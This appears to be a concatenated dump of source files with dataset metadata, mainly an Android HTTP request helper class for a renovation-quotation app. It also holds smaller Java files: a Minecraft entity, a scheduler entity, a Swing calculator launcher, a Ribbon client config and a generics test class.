* @param userCode
* @param callBack
*/
public void loginAvoid(int requestId, String userCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userCode", userCode);
post(params, requestId, callBack);
}
/**
* 用户信息
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void userInfo(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 实名认证
*
* @param requestId
* @param userName
* @param idCard
* @param callBack
*/
public void idAudit(int requestId, String userName, String idCard, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userName", userName);
params.addBodyParameter("idCard", idCard);
post(params, requestId, callBack);
}
/**
* 保存资料并提交审核
*
* @param requestId
* @param userName
* @param sex
* @param idCard
* @param seniority
* @param callBack
*/
public void dataSave(int requestId, String userName, String idCard, int sex,
String seniority, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userName", userName);
params.addBodyParameter("idCard", idCard);
params.addBodyParameter("sex", String.valueOf(sex));
params.addBodyParameter("seniority", seniority);
post(params, requestId, callBack);
}
/**
* 获取用户资料
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void userData(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 校验密码
*
* @param requestId
* @param password
* @param callBack
*/
public void passwordCheck(int requestId, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 重置手机号码
*
* @param requestId
* @param mobile
* @param code
* @param callBack
*/
public void resetMobile(int requestId, String mobile, String code, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("code", code);
post(params, requestId, callBack);
}
/**
* 获取关联机构信息
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void company(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 获取预约订单
*
* @param requestId
* @param callBack
*/
public void orderList(int requestId, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
post(params, requestId, callBack);
}
/**
* 预约单状态 接受、拒绝
*
* @param requestId
* @param orderNumber
* @param status
*/
public void orderStatus(int requestId, String orderNumber, int status, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("orderNumber", orderNumber);
params.addBodyParameter("status", String.valueOf(status));
post(params, requestId, callBack);
}
/**
* 报价房间
*
* @param requestId
* @param planId
* @param page
* @param limit
* @param callBack
*/
public void offerHouse(int requestId, long planId, int page, int limit, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("planId", String.valueOf(planId));
params.addBodyParameter("page", String.valueOf(page));
params.addBodyParameter("limit", String.valueOf(limit));
post(params, requestId, callBack);
}
/**
* 报价套餐
*
* @param requestId
* @param id
* @param branchId
* @param hashCode
* @param callBack
*/
public void offerPackage(int requestId, long id, long branchId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("id", String.valueOf(id));
params.addBodyParameter("branchId", String.valueOf(branchId));
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 发送报价单
*
* @param requestId
* @param branchId
* @param ownerId
* @param planId
* @param projectId
* @param area
* @param halles
* @param rooms
* @param cookhouse
* @param washroom
* @param balcony
* @param others
* @param itemsListJson
* @param addItemsListJson
* @param hashCode
* @param callBack
*/
public void sendQuotation(int requestId, long branchId, long ownerId, long planId, long projectId,
double area, int halles, int rooms, int cookhouse, int washroom, int balcony,
int others, String itemsListJson, String addItemsListJson, int hashCode, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("branchId", String.valueOf(branchId));
params.addBodyParameter("ownerId", String.valueOf(ownerId));
params.addBodyParameter("planId", String.valueOf(planId));
params.addBodyParameter("projectId", String.valueOf(projectId));
params.addBodyParameter("area", String.valueOf(area));
params.addBodyParameter("halles", String.valueOf(halles));
params.addBodyParameter("rooms", String.valueOf(rooms));
params.addBodyParameter("cookhouse", String.valueOf(cookhouse));
params.addBodyParameter("washroom", String.valueOf(washroom));
params.addBodyParameter("balcony", String.valueOf(balcony));
params.addBodyParameter("others", String.valueOf(others));
params.addBodyParameter("itemsListJson", itemsListJson);
params.addBodyParameter("addItemsListJson", addItemsListJson);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 获取奖励金信息
*
* @param requestId
* @param number
* @param hashCode
* @param callBack
*/
public void getReward(int requestId, String number, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("number", number);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 保存报价
*
* @param requestId
* @param orderJsonData
* @param hashCode
* @param callBack
*/
public void offerSave(int requestId, String orderJsonData, int hashCode, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("orderJsonData", orderJsonData);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
//----------------------------------------------------------------------------------res
/**
* 获取资源
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void resource(final int requestId, int hashCode, final HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
}
|
UTF-8
|
Java
| 17,883 |
java
|
RequestUtils.java
|
Java
|
[
{
"context": "rt java.util.List;\r\n\r\n/**\r\n * 网络请求\r\n *\r\n * @author seven\r\n */\r\npublic class RequestUtils {\r\n\r\n private ",
"end": 699,
"score": 0.9975294470787048,
"start": 694,
"tag": "USERNAME",
"value": "seven"
},
{
"context": "ile);\r\n params.addBodyParameter(\"password\", password);\r\n params.addBodyParameter(\"serviceCity\",",
"end": 7643,
"score": 0.9863327145576477,
"start": 7635,
"tag": "PASSWORD",
"value": "password"
},
{
"context": "认证\r\n *\r\n * @param requestId\r\n * @param userName\r\n * @param idCard\r\n * @param callBack\r\n ",
"end": 9579,
"score": 0.9890884757041931,
"start": 9571,
"tag": "USERNAME",
"value": "userName"
},
{
"context": "审核\r\n *\r\n * @param requestId\r\n * @param userName\r\n * @param sex\r\n * @param idCard\r\n * ",
"end": 10043,
"score": 0.9970306158065796,
"start": 10035,
"tag": "USERNAME",
"value": "userName"
},
{
"context": "*/\r\n public void dataSave(int requestId, String userName, String idCard, int sex,\r\n ",
"end": 10199,
"score": 0.9970300197601318,
"start": 10191,
"tag": "USERNAME",
"value": "userName"
},
{
"context": "uri);\r\n params.addBodyParameter(\"userName\", userName);\r\n params.addBodyParameter(\"idCard\", idCa",
"end": 10437,
"score": 0.9977086186408997,
"start": 10429,
"tag": "USERNAME",
"value": "userName"
}
] | null |
[] |
package com.seven.library.http;
import com.seven.library.R;
import com.seven.library.application.LibApplication;
import com.seven.library.callback.HttpRequestCallBack;
import com.seven.library.task.ActivityStack;
import com.seven.library.ui.dialog.NetWorkDialog;
import com.seven.library.ui.dialog.RequestLoading;
import com.seven.library.utils.LogUtils;
import com.seven.library.utils.NetWorkUtils;
import com.seven.library.utils.ToastUtils;
import org.json.JSONException;
import org.json.JSONObject;
import org.xutils.common.Callback;
import org.xutils.http.RequestParams;
import org.xutils.x;
import java.io.File;
import java.util.List;
/**
* 网络请求
*
* @author seven
*/
public class RequestUtils {
private static final String TAG = "RequestUtils";
private static RequestUtils requestUtils;
private static NetWorkDialog netWorkDialog;
private RequestLoading loadingDialog;
public static String uri;
private RequestUtils() {
}
public static RequestUtils getInstance(String url) {
uri = url;
if (LibApplication.type == 1) {
uri = url.replace("dev", "test");
}
if (requestUtils == null) {
synchronized (RequestUtils.class) {
requestUtils = new RequestUtils();
}
}
if (!NetWorkUtils.getInstance().isNetWorkConnected()) {
if (netWorkDialog == null || !netWorkDialog.isShowing()) {
netWorkDialog = new NetWorkDialog(ActivityStack.getInstance().peekActivity(), R.style.Dialog, null);
netWorkDialog.show();
return null;
}
}
return requestUtils;
}
/**
* 等待加载框
*/
private void showDialog() {
if (loadingDialog != null && !loadingDialog.isShowing())
loadingDialog.cancel();
loadingDialog = new RequestLoading(ActivityStack.getInstance().peekActivity(), R.style.Dialog, null);
loadingDialog.show();
}
/**
* @param params
* @param requestId
* @param callBack
*/
private void post(RequestParams params, final int requestId, final HttpRequestCallBack callBack) {
LogUtils.println(" token " + LibApplication.token);
params.setHeader("token", LibApplication.token);
x.http().post(params, new Callback.CommonCallback<String>() {
@Override
public void onSuccess(String result) {
if (loadingDialog != null)
loadingDialog.cancel();
try {
JSONObject jsonObject = new JSONObject(result);
int status = jsonObject.getInt("status");
int code = jsonObject.getInt("code");
String msg = jsonObject.getString("msg");
if (status == 0 && code == 2) {
ToastUtils.getInstance().showToast(msg);
LibApplication.getInstance().login();
return;
}
} catch (JSONException e) {
LogUtils.println(TAG + e);
}
callBack.onSucceed(result, requestId);
}
@Override
public void onError(Throwable ex, boolean isOnCallback) {
if (loadingDialog != null)
loadingDialog.dismiss();
callBack.onFailure(ex.getMessage(), requestId);
}
@Override
public void onCancelled(CancelledException cex) {
if (loadingDialog != null)
loadingDialog.dismiss();
LogUtils.println(TAG + " onCancelled ");
}
@Override
public void onFinished() {
if (loadingDialog != null)
loadingDialog.dismiss();
}
});
}
/**
* 上传文件
*
* @param requestId
* @param type
* @param callBack
*/
public void upload(final int requestId, List<String> list, int type, final HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("type", String.valueOf(type));
for (String path : list)
params.addBodyParameter("fileData", new File(path));
params.setHeader("token", LibApplication.token);
params.setConnectTimeout(60000);
x.http().post(params, new Callback.ProgressCallback<String>() {
@Override
public void onSuccess(String result) {
try {
JSONObject jsonObject = new JSONObject(result);
int status = jsonObject.getInt("status");
int code = jsonObject.getInt("code");
String msg = jsonObject.getString("msg");
if (status == 0 && code == 2) {
ToastUtils.getInstance().showToast(msg);
LibApplication.getInstance().login();
return;
}
} catch (JSONException e) {
LogUtils.println(TAG + e);
}
callBack.onSucceed(result, requestId);
}
@Override
public void onError(Throwable throwable, boolean b) {
callBack.onFailure(throwable.getMessage(), requestId);
}
@Override
public void onCancelled(CancelledException e) {
}
@Override
public void onFinished() {
}
@Override
public void onWaiting() {
}
@Override
public void onStarted() {
}
@Override
public void onLoading(long l, long l1, boolean b) {
callBack.onProgress(l1, requestId);
}
});
}
/**
* 短信验证码
*
* @param requestId
* @param mobile
* @param flow
* @param callBack
*/
public void sms(final int requestId, String mobile, String flow, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("flow", flow);
post(params, requestId, callBack);
}
/**
* 验证码验证
*
* @param requestId
* @param mobile
* @param code
* @param flow
* @param callBack
*/
public void smsCheck(final int requestId, String mobile, String code, String flow, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("code", code);
params.addBodyParameter("flow", flow);
post(params, requestId, callBack);
}
/**
* 注册
*
* @param requestId
* @param mobile
* @param password
* @param cityId
* @param callBack
*/
public void register(int requestId, String mobile, String password, long cityId, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", <PASSWORD>);
params.addBodyParameter("serviceCity", String.valueOf(cityId));
post(params, requestId, callBack);
}
/**
* 忘记密码
*
* @param requestId
* @param mobile
* @param password
* @param callBack
*/
public void passwordForget(int requestId, String mobile, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 登录
*
* @param requestId
* @param mobile
* @param password
* @param callBack
*/
public void login(int requestId, String mobile, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 免登录
*
* @param requestId
* @param userCode
* @param callBack
*/
public void loginAvoid(int requestId, String userCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userCode", userCode);
post(params, requestId, callBack);
}
/**
* 用户信息
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void userInfo(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 实名认证
*
* @param requestId
* @param userName
* @param idCard
* @param callBack
*/
public void idAudit(int requestId, String userName, String idCard, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userName", userName);
params.addBodyParameter("idCard", idCard);
post(params, requestId, callBack);
}
/**
* 保存资料并提交审核
*
* @param requestId
* @param userName
* @param sex
* @param idCard
* @param seniority
* @param callBack
*/
public void dataSave(int requestId, String userName, String idCard, int sex,
String seniority, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("userName", userName);
params.addBodyParameter("idCard", idCard);
params.addBodyParameter("sex", String.valueOf(sex));
params.addBodyParameter("seniority", seniority);
post(params, requestId, callBack);
}
/**
* 获取用户资料
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void userData(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 校验密码
*
* @param requestId
* @param password
* @param callBack
*/
public void passwordCheck(int requestId, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 重置手机号码
*
* @param requestId
* @param mobile
* @param code
* @param callBack
*/
public void resetMobile(int requestId, String mobile, String code, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("code", code);
post(params, requestId, callBack);
}
/**
* 获取关联机构信息
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void company(int requestId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 获取预约订单
*
* @param requestId
* @param callBack
*/
public void orderList(int requestId, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
post(params, requestId, callBack);
}
/**
* 预约单状态 接受、拒绝
*
* @param requestId
* @param orderNumber
* @param status
*/
public void orderStatus(int requestId, String orderNumber, int status, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("orderNumber", orderNumber);
params.addBodyParameter("status", String.valueOf(status));
post(params, requestId, callBack);
}
/**
* 报价房间
*
* @param requestId
* @param planId
* @param page
* @param limit
* @param callBack
*/
public void offerHouse(int requestId, long planId, int page, int limit, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("planId", String.valueOf(planId));
params.addBodyParameter("page", String.valueOf(page));
params.addBodyParameter("limit", String.valueOf(limit));
post(params, requestId, callBack);
}
/**
* 报价套餐
*
* @param requestId
* @param id
* @param branchId
* @param hashCode
* @param callBack
*/
public void offerPackage(int requestId, long id, long branchId, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("id", String.valueOf(id));
params.addBodyParameter("branchId", String.valueOf(branchId));
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 发送报价单
*
* @param requestId
* @param branchId
* @param ownerId
* @param planId
* @param projectId
* @param area
* @param halles
* @param rooms
* @param cookhouse
* @param washroom
* @param balcony
* @param others
* @param itemsListJson
* @param addItemsListJson
* @param hashCode
* @param callBack
*/
public void sendQuotation(int requestId, long branchId, long ownerId, long planId, long projectId,
double area, int halles, int rooms, int cookhouse, int washroom, int balcony,
int others, String itemsListJson, String addItemsListJson, int hashCode, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("branchId", String.valueOf(branchId));
params.addBodyParameter("ownerId", String.valueOf(ownerId));
params.addBodyParameter("planId", String.valueOf(planId));
params.addBodyParameter("projectId", String.valueOf(projectId));
params.addBodyParameter("area", String.valueOf(area));
params.addBodyParameter("halles", String.valueOf(halles));
params.addBodyParameter("rooms", String.valueOf(rooms));
params.addBodyParameter("cookhouse", String.valueOf(cookhouse));
params.addBodyParameter("washroom", String.valueOf(washroom));
params.addBodyParameter("balcony", String.valueOf(balcony));
params.addBodyParameter("others", String.valueOf(others));
params.addBodyParameter("itemsListJson", itemsListJson);
params.addBodyParameter("addItemsListJson", addItemsListJson);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 获取奖励金信息
*
* @param requestId
* @param number
* @param hashCode
* @param callBack
*/
public void getReward(int requestId, String number, int hashCode, HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("number", number);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
/**
* 保存报价
*
* @param requestId
* @param orderJsonData
* @param hashCode
* @param callBack
*/
public void offerSave(int requestId, String orderJsonData, int hashCode, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("orderJsonData", orderJsonData);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
//----------------------------------------------------------------------------------res
/**
* 获取资源
*
* @param requestId
* @param hashCode
* @param callBack
*/
public void resource(final int requestId, int hashCode, final HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("hashCode", String.valueOf(hashCode));
post(params, requestId, callBack);
}
}
| 17,885 | 0.57206 | 0.57138 | 622 | 26.368168 | 27.056173 | 134 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.588424 | false | false |
8
|
6e4c6b726f8457020dcc74a660c986cff5287502
| 7,301,444,464,695 |
564e9aff2cad3a4c6c48ee562008cb564628e8e8
|
/src/net/minecraft/EntityGiantZombie.java
|
b34809e6f50ed5eead0a8eb307cdcad7199d2841
|
[] |
no_license
|
BeYkeRYkt/MinecraftServerDec
|
https://github.com/BeYkeRYkt/MinecraftServerDec
|
efbafd774cf5c68bde0dd60b7511ac91d3f1bd8e
|
cfb5b989abb0e68112f7d731d0d79e0d0021c94f
|
refs/heads/master
| 2021-01-10T19:05:30.104000 | 2014-09-28T10:42:47 | 2014-09-28T10:42:47 | 23,732,504 | 1 | 0 | null | true | 2014-09-28T10:32:16 | 2014-09-06T10:46:05 | 2014-09-15T02:55:10 | 2014-09-28T10:32:16 | 16,947 | 0 | 0 | 0 |
Java
| null | null |
package net.minecraft;
public class EntityGiantZombie extends EntityMonster {
public EntityGiantZombie(World var1) {
super(var1);
this.a(this.height * 6.0F, this.width * 6.0F);
}
public float getHeadHeight() {
return 10.440001F;
}
protected void aW() {
super.aW();
this.a(afs.a).a(100.0D);
this.a(afs.d).a(0.5D);
this.a(afs.e).a(50.0D);
}
public float a(Position var1) {
return this.world.o(var1) - 0.5F;
}
}
|
UTF-8
|
Java
| 438 |
java
|
EntityGiantZombie.java
|
Java
|
[] | null |
[] |
package net.minecraft;
public class EntityGiantZombie extends EntityMonster {
public EntityGiantZombie(World var1) {
super(var1);
this.a(this.height * 6.0F, this.width * 6.0F);
}
public float getHeadHeight() {
return 10.440001F;
}
protected void aW() {
super.aW();
this.a(afs.a).a(100.0D);
this.a(afs.d).a(0.5D);
this.a(afs.e).a(50.0D);
}
public float a(Position var1) {
return this.world.o(var1) - 0.5F;
}
}
| 438 | 0.657534 | 0.59589 | 24 | 17.25 | 16.376431 | 54 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.416667 | false | false |
8
|
a67b6ed2e7426223b6f471b60b1f4ebe63ca8d8d
| 2,310,692,436,642 |
172d29a9522491aa1a6e60077e2f6afadc9de131
|
/source/production/risk-batch/risk-batch-web/src/main/java/com/rkylin/risk/batch/web/entity/ScheduleJob.java
|
5e1cff6e8468201987ceaeb20412593b27d504d2
|
[] |
no_license
|
moutainhigh/kylin-risk
|
https://github.com/moutainhigh/kylin-risk
|
dadc9ab9a1e8910240d51d53694777cc9c43bda1
|
57079f408f1687ec3ac7aa4eab8f306ddc223d79
|
refs/heads/master
| 2020-09-21T10:23:00.318000 | 2017-10-25T06:01:50 | 2017-10-25T06:01:50 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.rkylin.risk.batch.web.entity;
/**
* Created by tomalloc on 16-2-26.
*/
public class ScheduleJob {
/** 任务id */
private String jobId;
/** 任务名称 */
private String jobName;
/** 任务分组 */
private String jobGroup;
/** 任务状态 0禁用 1启用 2删除*/
private String jobStatus;
/** 任务运行时间表达式 */
private String cronExpression;
/** 任务描述 */
private String desc;
/**
* 是否并行执行
*/
private boolean concurrent = true;
}
|
UTF-8
|
Java
| 518 |
java
|
ScheduleJob.java
|
Java
|
[
{
"context": "m.rkylin.risk.batch.web.entity;\n\n/**\n * Created by tomalloc on 16-2-26.\n */\npublic class ScheduleJob {\n /** ",
"end": 69,
"score": 0.9994714260101318,
"start": 61,
"tag": "USERNAME",
"value": "tomalloc"
}
] | null |
[] |
package com.rkylin.risk.batch.web.entity;
/**
* Created by tomalloc on 16-2-26.
*/
public class ScheduleJob {
/** 任务id */
private String jobId;
/** 任务名称 */
private String jobName;
/** 任务分组 */
private String jobGroup;
/** 任务状态 0禁用 1启用 2删除*/
private String jobStatus;
/** 任务运行时间表达式 */
private String cronExpression;
/** 任务描述 */
private String desc;
/**
* 是否并行执行
*/
private boolean concurrent = true;
}
| 518 | 0.629545 | 0.611364 | 26 | 15.923077 | 12.480517 | 41 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.307692 | false | false |
8
|
7e4bab234e2633f4f7704ce8d0f4ac06e0defa65
| 31,671,088,866,961 |
3018de04261578537d04fac978cbfb2afa8bea3f
|
/calculator/Calculator.java
|
687db9bbd4b94696d63a87561688d75dfdee3654
|
[] |
no_license
|
Jagmandeep/CST8221-Java-Application
|
https://github.com/Jagmandeep/CST8221-Java-Application
|
50ad145f212118ee9f6955c75e78628633a9164b
|
daa74940bc70713d8c2b6a9ecb24c4b86a9b06b0
|
refs/heads/master
| 2021-03-24T09:22:19.288000 | 2018-01-26T05:34:38 | 2018-01-26T05:34:38 | 117,929,004 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package calculator;
/*
* Author Jagmandeep Singh
* Student number :
* Lab Section : 303
* Assignment 2
* Date November 29, 2017
*/
import java.awt.Color;
import java.awt.Dimension;
import java.awt.EventQueue;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JFrame;
public class Calculator{
public static void main(String[] args) {
final int duration = 5000;
/*
* Splash screen would appear on screen
* Time depends on value duration variable is having
* in our case its 5000 which is equal to 5 seconds
*/
CalculatorSplashScreen screen = new CalculatorSplashScreen(duration);
screen.showSplashWindow();
EventQueue.invokeLater( new Runnable(){
@Override
public void run() {
/*
* New frame is created with specific minimum size
*/
JFrame frame = new JFrame("Calculator");
frame.setMinimumSize(new Dimension(300,460));
frame.setContentPane(new CalculatorViewController());
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocationByPlatform(true);
frame.setVisible(true);
}
});
}
}
|
UTF-8
|
Java
| 1,177 |
java
|
Calculator.java
|
Java
|
[
{
"context": "package calculator;\r\n/*\r\n * Author Jagmandeep Singh\r\n * Student number : \r\n * Lab Section : 303\r\n *",
"end": 52,
"score": 0.9998037815093994,
"start": 36,
"tag": "NAME",
"value": "Jagmandeep Singh"
}
] | null |
[] |
package calculator;
/*
* Author <NAME>
* Student number :
* Lab Section : 303
* Assignment 2
* Date November 29, 2017
*/
import java.awt.Color;
import java.awt.Dimension;
import java.awt.EventQueue;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JFrame;
public class Calculator{
public static void main(String[] args) {
final int duration = 5000;
/*
* Splash screen would appear on screen
* Time depends on value duration variable is having
* in our case its 5000 which is equal to 5 seconds
*/
CalculatorSplashScreen screen = new CalculatorSplashScreen(duration);
screen.showSplashWindow();
EventQueue.invokeLater( new Runnable(){
@Override
public void run() {
/*
* New frame is created with specific minimum size
*/
JFrame frame = new JFrame("Calculator");
frame.setMinimumSize(new Dimension(300,460));
frame.setContentPane(new CalculatorViewController());
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocationByPlatform(true);
frame.setVisible(true);
}
});
}
}
| 1,167 | 0.683942 | 0.662702 | 44 | 24.75 | 18.970222 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.090909 | false | false |
8
|
4a84983b3c4c6024484e0a67f5d4b27861afeb3e
| 2,018,634,693,172 |
08b3178e608cb96113449d272e462bc0570a7e28
|
/zuul-retryer/src/main/java/com/example/exclude/RibbonConfig.java
|
4dd934e13e4e6a1bc271a90eb3dfad85e4c307b7
|
[] |
no_license
|
manohar427/spring-cloud-retry
|
https://github.com/manohar427/spring-cloud-retry
|
f1361a7fd57a9fb4a732681ffc6b4011cdbbc870
|
c68f5f14e04ed7b69d60b849eb2eb30882523cc2
|
refs/heads/master
| 2021-07-14T00:36:54.769000 | 2017-10-18T02:14:39 | 2017-10-18T02:14:39 | 107,346,681 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.exclude;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.netflix.ribbon.ServerIntrospector;
import org.springframework.context.annotation.Bean;
import com.example.CustomRestClient;
import com.netflix.client.RetryHandler;
import com.netflix.client.config.IClientConfig;
import com.netflix.loadbalancer.ILoadBalancer;
import com.netflix.niws.client.http.RestClient;
import com.netflix.servo.monitor.Monitors;
/**
* Created by ryanjbaxter on 9/13/16.
*/
public class RibbonConfig {
@Value("${ribbon.client.name}")
private String name = "client";
@Bean
public RestClient ribbonRestClient(IClientConfig config, ILoadBalancer loadBalancer, ServerIntrospector serverIntrospector, RetryHandler retryHandler) {
CustomRestClient client = new CustomRestClient(config, serverIntrospector);
client.setLoadBalancer(loadBalancer);
client.setRetryHandler(retryHandler);
Monitors.registerObject("Client_" + name, client);
return client;
}
}
|
UTF-8
|
Java
| 1,054 |
java
|
RibbonConfig.java
|
Java
|
[
{
"context": "netflix.servo.monitor.Monitors;\n\n/**\n * Created by ryanjbaxter on 9/13/16.\n */\npublic class RibbonConfig {\n @",
"end": 503,
"score": 0.9996668100357056,
"start": 492,
"tag": "USERNAME",
"value": "ryanjbaxter"
}
] | null |
[] |
package com.example.exclude;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.netflix.ribbon.ServerIntrospector;
import org.springframework.context.annotation.Bean;
import com.example.CustomRestClient;
import com.netflix.client.RetryHandler;
import com.netflix.client.config.IClientConfig;
import com.netflix.loadbalancer.ILoadBalancer;
import com.netflix.niws.client.http.RestClient;
import com.netflix.servo.monitor.Monitors;
/**
* Created by ryanjbaxter on 9/13/16.
*/
public class RibbonConfig {
@Value("${ribbon.client.name}")
private String name = "client";
@Bean
public RestClient ribbonRestClient(IClientConfig config, ILoadBalancer loadBalancer, ServerIntrospector serverIntrospector, RetryHandler retryHandler) {
CustomRestClient client = new CustomRestClient(config, serverIntrospector);
client.setLoadBalancer(loadBalancer);
client.setRetryHandler(retryHandler);
Monitors.registerObject("Client_" + name, client);
return client;
}
}
| 1,054 | 0.77704 | 0.772296 | 29 | 35.344826 | 32.120758 | 156 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.724138 | false | false |
8
|
e815b7dc8182c0b7fcae53de7da5889339a046ab
| 9,852,655,004,088 |
8751c2ba430e6e618f0e7b024ddfa327098d1b51
|
/app/src/main/java/com/ft/myapplication2/test/generosity/GenerosityTest.java
|
2aeb48cc3fe25ad6e72c3cf8224b0defeab64fc7
|
[] |
no_license
|
zhangss007/MyTestToolDemo
|
https://github.com/zhangss007/MyTestToolDemo
|
9a65ea9b2237ab02baaba7ecb6c3581a497c68f8
|
5b91c1ae2604be4914ef057e639dd645c79dfae8
|
refs/heads/master
| 2021-01-20T20:44:42.118000 | 2016-08-16T10:18:35 | 2016-08-16T10:18:35 | 64,832,492 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.ft.myapplication2.test.generosity;
/**
* Created by FT_ZSS on 2016/8/2.
*/
public class GenerosityTest {
/**
* 泛型接口
*/
public void test1(){
FruitGenerator generator = new FruitGenerator();
System.out.println(generator.next());
System.out.println(generator.next());
System.out.println(generator.next());
}
/**
* 泛型类
*/
public void test2(){
Container1<String, String> c1 = new Container1<String,String>("name","xiaoming");
Container1<String, Integer> c2 = new Container1<String,Integer>("age",26);
Container1<Double, Double> c3 = new Container1<Double, Double>(1.1,2.2);
System.out.println(c1.getKey() + ":" + c1.getValue());
System.out.println(c2.getKey() + ":" + c2.getValue());
System.out.println(c3.getKey() + ":" + c3.getValue());
}
/**
* 泛型方法
*/
public void test3(){
out("findingsea");
out(123);
out(12.3);
out(true);
}
/**
* 泛型方法可变参数
*/
